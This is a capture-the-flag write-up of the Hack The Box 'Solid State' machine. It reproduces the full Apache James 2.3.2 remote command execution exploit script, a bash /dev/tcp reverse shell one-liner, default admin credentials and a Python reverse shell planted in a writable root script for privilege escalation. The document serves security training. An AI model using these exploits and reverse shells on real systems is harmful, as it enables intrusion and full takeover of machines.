10.10.10.51 - SOLID STATE - Apache James, SUID

Apache James exploitation and SUID binary privesc

Summary:

vulnerable software : Apache James Server, POC system vulnerable : 10.10.10.51 vulnerability explanation :The vulnerability arises from an insecure default configuration and a lack of input validation in the server’s user creation mechanism; it allows an attacker to en queue commands to execute when a user signs into the machine. severity : critical

Enumeration

nmap 10.10.10.51 -sV -sC
====================================================================================
RUNNING NMAP TCP PORT ANALYSIS
====================================================================================
[+] Running only TCP port scan
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-01-31 17:33 GMT
Nmap scan report for 10.10.10.51
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp open smtp JAMES smtpd 2.3.2
80/tcp open http Apache httpd 2.4.25 ((Debian))
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.13 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.9 (95%), Linux 3.12 (94%), Linux 3.8 - 3.11 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.11 seconds

By default, the Apache James administrator has the same username and password, “root.” Using these credentials gives us access to the administration console, where we can create new users with the “adduser” command

Reference

With this information at hand we used Netcat to login to the administrative console of James Mail Server:

Once logged in with default root:root credentials we could amend the passwords for the users:

With the use of Telnet, we gained access to the email accounts, where we could read confidential information

└──╼ $telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER mindy
+OK
PASS mindy
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome
Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
We are looking forward to you joining our team and your success at Solid State Security.
Respectfully,
James
.
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <mindy@localhost>;
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James

Successful login with provided credentials:

Vulnerability exploitation:

searchsploit Apache James

Source of 35513.py , Apache James Server 2.3.2 - Remote Command Execution:

#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d
import socket
import sys
import time
# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'
if len(sys.argv) != 2:
sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
sys.exit(1)
ip = sys.argv[1]
def recv(s):
s.recv(1024)
time.sleep(0.2)
try:
print "[+]Connecting to James Remote Administration Tool..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,4555))
s.recv(1024)
s.send(user + "\n")
s.recv(1024)
s.send(pwd + "\n")
s.recv(1024)
print "[+]Creating user..."
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
s.recv(1024)
s.send("quit\n")
s.close()
print "[+]Connecting to James SMTP server..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,25))
s.send("ehlo team@team.pl\r\n")
recv(s)
print "[+]Sending payload..."
s.send("mail from: <'@team.pl>\r\n")
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
recv(s)
s.send("data\r\n")
recv(s)
s.send("From: team@team.pl\r\n")
s.send("\r\n")
s.send("'\n")
s.send(payload + "\n")
s.send("\r\n.\r\n")
recv(s)
s.send("quit\r\n")
recv(s)
s.close()
print "[+]Done! Payload will be executed once somebody logs in."
except:
print "Connection failed."

Payload option does require a modification. Current settings will leave proof.txt in a tmp folder, if we want to gain a reverse shell, we could use netcat with an option -e to receive back a shell. However in this case we cannot be 100% certain this option is available thus we need to use more certain solution:

/bin/bash -i >& /dev/tcp/10.10.14.20/3333 0>&1

Once this oneliner in setup as payload, reverse shell from bash should come back to us:

Exploit relies on a user logging in to the system and with gathered credentials we can do just that:

└──╼ $ssh mindy@10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 31 12:59:22 2019 from 10.10.14.20
-rbash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317ݬ\003': command not found
-rbash: L: command not found
-rbash: attributestLjava/util/HashMap: No such file or directory
-rbash: L
errorMessagetLjava/lang/String: No such file or directory
-rbash: L
lastUpdatedtLjava/util/Date: No such file or directory
-rbash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
-rbash: $'L\004nameq~\002L': command not found
-rbash: recipientstLjava/util/Collection: No such file or directory
-rbash: L: command not found
-rbash: $'remoteAddrq~\002L': command not found
-rbash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory
-rbash: $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp': command not found
-rbash: $'L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found
-rbash: @team.pl>
Message-ID: <28046011.0.1548958824056.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.14.20 ([10.10.14.20])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 92
for <../../../../../../../../etc/bash_completion.d@localhost>;
Thu, 31 Jan 2019 13:20:23 -0500 (EST)
Date: Thu, 31 Jan 2019 13:20:23 -0500 (EST)
From: team@team.pl
: No such file or directory

Privilege Escalation

One of the methods of escalating privilege on a Linux system is by modifying files running as root that also have a writable access. We can look for these files with:

/usr/bin/find / -type f -perm 0777 2>/dev/null -user root -exec ls -lah {} \;

Help:

/usr/bin/find - we are going to use find utility to look for interesting files

/ - tells us to look from root directory

-type f - look for regular file

-perm 0777 - find files with read, write and execute permissions

2>/dev/null - redirect error messages to stderr (Stderr, also known as standard error, is the default file descriptor where a process can write error messages.)

-user root - files owned by root

-exec ls -lah {} \: - execute file details after a successful find.

Reference:

When we want to set permissions, we just add up the number. For example, to set the permissions to read and write, we will use ‘6’ (4 + 2) for the permission. For read, write and execute, we will use ‘7’ (4 + 2 + 1) for the permission. Here’s the different permutation:

0 – no permission 1 – execute 2 – write 3 – write and execute 4 – read 5 – read and execute 6 – read and write 7 – read, write, and execute

What about the 3 digits ‘777’? Well, the first digit is assigned to the Owner, the second digit is assigned to the Group and the third digit is assigned to the Others. So for a file with ‘777’ permission, everyone can read, write and execute the file.

  • 777 – Everyone can read write and execute. In a web server, it is not advisable to set ‘777’ permission for your files and folders as it allows anyone to add malicious code to your server. However, in some cases, you will need to set the 777 permissions before you can upload any file to the server (For example, uploading images in WordPress)

/usr/bin/find / -type f -perm 0777 2>/dev/null -user root -exec ls -lah {} \;
-rwxrwxrwx 1 root root 105 Aug 22 2017 /opt/tmp.py

One file identified, with the code:

cat /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()

We can conclude that it is a script that runs with root privilege that cleans /tmp folder when executed. Low privilege user has read, write and execute access to this file therefore can place any command he wishes. In this case reverse shell was placed in tmp.py connecting victim back to the attacker when executed:

#!/usr/bin/python2
import os
import pty
import socket
lhost = "10.10.14.20" # XXX: CHANGEME
lport = 4433 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()

Successful reverse shell with root level access after few moments of waiting: